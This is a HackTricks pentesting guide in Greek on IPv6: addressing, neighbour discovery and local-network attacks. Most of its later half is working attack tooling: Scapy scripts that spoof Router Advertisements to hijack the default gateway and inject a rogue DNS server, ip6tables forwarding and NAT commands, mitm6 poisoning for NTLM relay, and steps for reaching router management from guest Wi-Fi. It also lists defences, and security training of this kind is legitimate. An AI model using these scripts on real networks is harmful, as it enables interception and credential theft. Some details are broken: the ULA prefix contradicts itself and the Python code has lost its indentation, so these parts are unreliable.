Pentesting IPv6

Reading time: 14 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

IPv6 Βασική θεωρία

Δίκτυα

Οι διευθύνσεις IPv6 είναι δομημένες για να ενισχύσουν την οργάνωση του δικτύου και την αλληλεπίδραση των συσκευών. Μια διεύθυνση IPv6 χωρίζεται σε:

  1. Πρόθεμα Δικτύου: Τα αρχικά 48 bits, που καθορίζουν το τμήμα του δικτύου.
  2. ID Υποδικτύου: Τα επόμενα 16 bits, που χρησιμοποιούνται για τον καθορισμό συγκεκριμένων υποδικτύων εντός του δικτύου.
  3. Αναγνωριστικό Διεπαφής: Τα τελικά 64 bits, που προσδιορίζουν μοναδικά μια συσκευή εντός του υποδικτύου.

Ενώ το IPv6 παραλείπει το πρωτόκολλο ARP που υπάρχει στο IPv4, εισάγει το ICMPv6 με δύο κύρια μηνύματα:

  • Αίτηση Γειτόνων (NS): Μηνύματα multicast για την επίλυση διευθύνσεων.
  • Διαφήμιση Γειτόνων (NA): Απαντήσεις unicast σε NS ή αυθόρμητες ανακοινώσεις.

Το IPv6 περιλαμβάνει επίσης ειδικούς τύπους διευθύνσεων:

  • Διεύθυνση Loopback (::1): Ισοδύναμη με το 127.0.0.1 του IPv4, για εσωτερική επικοινωνία εντός του host.
  • Διευθύνσεις Link-Local (FE80::/10): Για τοπικές δραστηριότητες δικτύου, όχι για δρομολόγηση στο διαδίκτυο. Οι συσκευές στο ίδιο τοπικό δίκτυο μπορούν να ανακαλύψουν η μία την άλλη χρησιμοποιώντας αυτό το εύρος.

Πρακτική Χρήση του IPv6 σε Εντολές Δικτύου

Για να αλληλεπιδράσετε με δίκτυα IPv6, μπορείτε να χρησιμοποιήσετε διάφορες εντολές:

  • Ping Διευθύνσεις Link-Local: Ελέγξτε την παρουσία τοπικών συσκευών χρησιμοποιώντας ping6.
  • Ανακάλυψη Γειτόνων: Χρησιμοποιήστε ip neigh για να δείτε τις συσκευές που ανακαλύφθηκαν στο επίπεδο σύνδεσης.
  • alive6: Ένα εναλλακτικό εργαλείο για την ανακάλυψη συσκευών στο ίδιο δίκτυο.

Παρακάτω παρατίθενται μερικά παραδείγματα εντολών:

bash
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6 διευθύνσεις μπορούν να προκύψουν από τη διεύθυνση MAC μιας συσκευής για τοπική επικοινωνία. Ακολουθεί ένας απλοποιημένος οδηγός για το πώς να προκύψει η Link-local IPv6 διεύθυνση από μια γνωστή διεύθυνση MAC, καθώς και μια σύντομη επισκόπηση των τύπων διευθύνσεων IPv6 και μεθόδων για την ανακάλυψη διευθύνσεων IPv6 εντός ενός δικτύου.

Δεδομένης μιας διεύθυνσης MAC 12:34:56:78:9a:bc, μπορείτε να κατασκευάσετε τη Link-local IPv6 διεύθυνση ως εξής:

  1. Μετατρέψτε τη MAC σε μορφή IPv6: 1234:5678:9abc
  2. Προσθέστε fe80:: και εισάγετε fffe στη μέση: fe80::1234:56ff:fe78:9abc
  3. Αντιστρέψτε το έβδομο bit από τα αριστερά, αλλάζοντας το 1234 σε 1034: fe80::1034:56ff:fe78:9abc

Τύποι Διευθύνσεων IPv6

  • Unique Local Address (ULA): Για τοπικές επικοινωνίες, δεν προορίζεται για δημόσια δρομολόγηση στο διαδίκτυο. Πρόθεμα: FEC00::/7
  • Multicast Address: Για επικοινωνία ένα προς πολλούς. Παράγεται σε όλες τις διεπαφές της ομάδας multicast. Πρόθεμα: FF00::/8
  • Anycast Address: Για επικοινωνία ένα προς τον πλησιέστερο. Αποστέλλεται στην πλησιέστερη διεπαφή σύμφωνα με το πρωτόκολλο δρομολόγησης. Μέρος της παγκόσμιας περιοχής unicast 2000::/3.

Πρόθεμα Διευθύνσεων

  • fe80::/10: Link-Local διευθύνσεις (παρόμοιες με 169.254.x.x)
  • fc00::/7: Unique Local-Unicast (παρόμοιες με ιδιωτικές περιοχές IPv4 όπως 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast Όλων των Κόμβων
  • ff02::2: Multicast Κόμβοι Δρομολογητών

Ανακαλύπτοντας Διευθύνσεις IPv6 εντός ενός Δικτύου

  1. Αποκτήστε τη διεύθυνση MAC μιας συσκευής εντός του δικτύου.
  2. Προκύψτε τη Link-local IPv6 διεύθυνση από τη διεύθυνση MAC.

Τρόπος 2: Χρησιμοποιώντας Multicast

  1. Στείλτε ένα ping στη multicast διεύθυνση ff02::1 για να ανακαλύψετε διευθύνσεις IPv6 στο τοπικό δίκτυο.
bash
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

Υπάρχουν αρκετές τεχνικές για την εκτέλεση επιθέσεων MitM σε δίκτυα IPv6, όπως:

  • Spoofing ICMPv6 neighbor ή router advertisements.
  • Χρήση ICMPv6 redirect ή μηνυμάτων "Packet Too Big" για την παραποίηση δρομολόγησης.
  • Επίθεση σε mobile IPv6 (συνήθως απαιτεί την απενεργοποίηση του IPSec).
  • Ρύθμιση ενός rogue DHCPv6 server.

Identifying IPv6 Addresses in the eild

Exploring Subdomains

Μια μέθοδος για να βρείτε υποτομείς που είναι πιθανώς συνδεδεμένοι με διευθύνσεις IPv6 περιλαμβάνει την εκμετάλλευση μηχανών αναζήτησης. Για παράδειγμα, η χρήση ενός προτύπου ερωτήματος όπως ipv6.* μπορεί να είναι αποτελεσματική. Συγκεκριμένα, η ακόλουθη εντολή αναζήτησης μπορεί να χρησιμοποιηθεί στο Google:

bash
site:ipv6./

Χρησιμοποιώντας Ερωτήσεις DNS

Για να εντοπιστούν οι διευθύνσεις IPv6, μπορούν να ερωτηθούν ορισμένοι τύποι εγγραφών DNS:

  • AXFR: Ζητά μια πλήρη μεταφορά ζώνης, αποκαλύπτοντας ενδεχομένως ένα ευρύ φάσμα εγγραφών DNS.
  • AAAA: Αναζητά άμεσα διευθύνσεις IPv6.
  • ANY: Μια ευρεία ερώτηση που επιστρέφει όλες τις διαθέσιμες εγγραφές DNS.

Δοκιμή με Ping6

Αφού εντοπιστούν οι διευθύνσεις IPv6 που σχετίζονται με έναν οργανισμό, το εργαλείο ping6 μπορεί να χρησιμοποιηθεί για δοκιμές. Αυτό το εργαλείο βοηθά στην αξιολόγηση της απόκρισης των εντοπισμένων διευθύνσεων IPv6 και μπορεί επίσης να βοηθήσει στην ανακάλυψη γειτονικών συσκευών IPv6.

Τεχνικές Επιθέσεων Τοπικού Δικτύου IPv6

Οι παρακάτω ενότητες καλύπτουν πρακτικές επιθέσεις IPv6 επιπέδου 2 που μπορούν να εκτελούνται μέσα στο ίδιο τμήμα /64 χωρίς να γνωρίζετε κανένα παγκόσμιο πρόθεμα. Όλα τα πακέτα που εμφανίζονται παρακάτω είναι link-local και ταξιδεύουν μόνο μέσω του τοπικού διακόπτη, καθιστώντας τα εξαιρετικά αόρατα σε πολλές περιβάλλοντα.

Ρύθμιση Συστήματος για Σταθερό Εργαστήριο

Πριν ασχοληθείτε με την κυκλοφορία IPv6, συνιστάται να σκληρύνετε το σύστημά σας για να αποφύγετε να δηλητηριαστείτε από τις δικές σας δοκιμές και να επιτύχετε την καλύτερη απόδοση κατά τη διάρκεια μαζικής έγχυσης/παρακολούθησης πακέτων.

bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passive NDP & DHCPv6 Sniffing

Επειδή κάθε IPv6 host εντάσσεται αυτόματα σε πολλές ομάδες multicast (ff02::1, ff02::2, …) και χρησιμοποιεί ICMPv6 για SLAAC/NDP, μπορείτε να χαρτογραφήσετε ολόκληρο το τμήμα χωρίς να στείλετε ούτε ένα πακέτο. Ο παρακάτω Python/Scapy one-liner ακούει τα πιο ενδιαφέροντα μηνύματα L2 και εκτυπώνει ένα χρωματιστό, χρονοσημασμένο αρχείο καταγραφής για το ποιος είναι ποιος:

python
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Αποτέλεσμα: μια πλήρης τοπολογία link-local (MAC ⇄ IPv6) μέσα σε λίγα δευτερόλεπτα, χωρίς να ενεργοποιήσετε τα συστήματα IPS/IDS που βασίζονται σε ενεργές σάρωσεις.

Spoofing Διαφημίσεων Δρομολογητή (RA)

Οι IPv6 hosts βασίζονται σε ICMPv6 Router Advertisements για την ανακάλυψη της προεπιλεγμένης πύλης. Αν εισάγετε πλαστές RAs συχνότερα από τον νόμιμο δρομολογητή, οι συσκευές θα αλλάξουν σιωπηλά σε εσάς ως πύλη.

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Για να προωθήσετε την κίνηση μετά την νίκη στον αγώνα:

bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Σημαίες Διαφήμισης Ροτών (M/O) & Προτίμηση Προεπιλεγμένου Ροτέρ (Prf)

ΣημαίαΣημασίαΕπίδραση στη Συμπεριφορά του Πελάτη
M (Διαχείριση Διεύθυνσης)Όταν είναι ρυθμισμένο σε 1, ο υπολογιστής ΠΡΕΠΕΙ να χρησιμοποιεί DHCPv6 για να αποκτήσει τη διεύθυνση IPv6 του.Όλη η διευθυνσιοδότηση προέρχεται από το DHCPv6 – τέλειο για δηλητηρίαση τύπου mitm6.
O (Άλλη Διαμόρφωση)Όταν είναι ρυθμισμένο σε 1, ο υπολογιστής θα πρέπει να χρησιμοποιεί το DHCPv6 μόνο για να αποκτήσει άλλες πληροφορίες (DNS, NTP, …).Διεύθυνση μέσω SLAAC, αλλά το DNS μπορεί να παραβιαστεί με το DHCPv6.
M=0 / O=0Καθαρό δίκτυο SLAAC.Μόνο κόλπα RA / RDNSS είναι δυνατά – το DHCPv6 δεν θα σταλεί από τους πελάτες.
M=1 / O=1Μικτό περιβάλλον.Χρησιμοποιούνται τόσο το DHCPv6 όσο και το SLAAC; η επιφάνεια για παραπλάνηση είναι η μεγαλύτερη.

Κατά τη διάρκεια ενός pentest, μπορείτε απλά να επιθεωρήσετε τη νόμιμη RA μία φορά και να αποφασίσετε ποιο διανυσμα είναι εφικτό:

bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Κοιτάξτε το πεδίο flags [M,O] στο dump – δεν απαιτείται μαντεψιά.

Το Prf (Router Preference) πεδίο μέσα στην κεφαλίδα RA ελέγχει πόσο ελκυστικός φαίνεται ο κακόβουλος δρομολογητής σας όταν υπάρχουν πολλαπλές πύλες:

Τιμή PrfΔυαδικόΣημασία
Υψηλό10Οι πελάτες προτιμούν αυτόν τον δρομολογητή από οποιονδήποτε Μεσαίο/Χαμηλό
Μεσαίο (προεπιλογή)01Χρησιμοποιείται από σχεδόν κάθε νόμιμη συσκευή
Χαμηλό00Επιλέγεται μόνο όταν δεν υπάρχει καλύτερος δρομολογητής

Όταν δημιουργείτε το πακέτο με το Scapy μπορείτε να το ρυθμίσετε μέσω της παραμέτρου prf όπως φαίνεται παραπάνω (prf=0x1 → Υψηλό). Συνδυάζοντας Υψηλό Prf, ένα σύντομο διάστημα και μια μη μηδενική διάρκεια ζωής καθιστά την κακόβουλη πύλη σας εξαιρετικά σταθερή.


RDNSS (DNS) Spoofing μέσω RA

RFC 8106 επιτρέπει την προσθήκη μιας επιλογής Recursive DNS Server (RDNSS) μέσα σε ένα RA. Οι σύγχρονοι λειτουργικοί συστήματα (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) το εμπιστεύονται αυτόματα:

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Οι πελάτες θα προθέσουν το DNS σας στη λίστα αναλυτών τους για την καθορισμένη διάρκεια, παρέχοντας πλήρη DNS hijacking μέχρι να λήξει η τιμή ή να στείλετε μια lifetime=0 αναίρεση.

DHCPv6 DNS Spoofing (mitm6)

Αντί για SLAAC, τα δίκτυα Windows συχνά εξαρτώνται από stateless DHCPv6 για το DNS. mitm6 απαντά αυτόματα σε μηνύματα Solicit με μια ροή Advertise → Reply που αναθέτει τη διεύθυνση link-local σας ως DNS για 300 δευτερόλεπτα. Αυτό ξεκλειδώνει:

  • NTLM relay επιθέσεις (WPAD + DNS hijacking)
  • Παρεμβολή στην εσωτερική ανάλυση ονομάτων χωρίς να αγγίξετε δρομολογητές

Τυπική χρήση:

bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning

Αμυντικές Τεχνικές

  • RA Guard / DHCPv6 Guard / ND Inspection σε διαχειριζόμενους διακόπτες.
  • Port ACLs που επιτρέπουν μόνο τη νόμιμη MAC του δρομολογητή να στέλνει RAs.
  • Παρακολούθηση για μη αξιόπιστους υψηλούς ρυθμούς RAs ή ξαφνικές αλλαγές RDNSS.
  • Η απενεργοποίηση του IPv6 σε τερματικά είναι μια προσωρινή λύση που συχνά σπάει σύγχρονες υπηρεσίες και κρύβει τυφλά σημεία – προτιμήστε το L2 filtering αντί.

NDP Router Discovery σε Guest/Public SSIDs και Έκθεση Υπηρεσιών Διαχείρισης

Πολλοί καταναλωτικοί δρομολογητές εκθέτουν δαίμονες διαχείρισης (HTTP(S), SSH/Telnet, TR-069, κ.λπ.) σε όλες τις διεπαφές. Σε ορισμένες αναπτύξεις, το SSID “guest/public” είναι γέφυρα προς το WAN/core και είναι μόνο IPv6. Ακόμα και αν το IPv6 του δρομολογητή αλλάζει σε κάθε εκκίνηση, μπορείτε να το μάθετε αξιόπιστα χρησιμοποιώντας NDP/ICMPv6 και στη συνέχεια να συνδεθείτε απευθείας στο επίπεδο διαχείρισης από το guest SSID.

Τυπική ροή εργασίας από έναν πελάτη που είναι συνδεδεμένος στο guest/public SSID:

  1. Ανακαλύψτε τον δρομολογητή μέσω ICMPv6 Router Solicitation στο All-Routers multicast ff02::2 και καταγράψτε την Router Advertisement (RA):
bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

Η RA αποκαλύπτει τη διεύθυνση/πρόθεμα link-local του δρομολογητή και συχνά μια παγκόσμια διεύθυνση/πρόθεμα. Εάν είναι γνωστή μόνο μια link-local, θυμηθείτε ότι οι συνδέσεις πρέπει να καθορίζουν τον δείκτη ζώνης, π.χ. ssh -6 admin@[fe80::1%wlan0].

Εναλλακτικά: χρησιμοποιήστε το ndisc6 suite αν είναι διαθέσιμο:

bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Προσέγγιση εκτεθειμένων υπηρεσιών μέσω IPv6 από το SSID επισκεπτών:
bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Αν η διαχείριση του shell παρέχει εργαλεία καταγραφής πακέτων μέσω ενός wrapper (π.χ., tcpdump), ελέγξτε για ένεση ορισμάτων/ονόματος αρχείου που επιτρέπει τη μεταφορά επιπλέον σημαιών tcpdump όπως -G/-W/-z για την εκτέλεση εντολών μετά την περιστροφή. Δείτε:

Wildcards Spare tricks

Αμυντικά/σημειώσεις:

  • Μην συνδέετε τη διαχείριση σε γέφυρες επισκεπτών/δημόσιες· εφαρμόστε τείχη προστασίας IPv6 σε γέφυρες SSID.
  • Περιορίστε και φιλτράρετε NDP/RS/RA σε τμήματα επισκεπτών όπου είναι εφικτό.
  • Για υπηρεσίες που πρέπει να είναι προσβάσιμες, επιβάλετε authN/MFA και ισχυρούς περιορισμούς ρυθμού.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks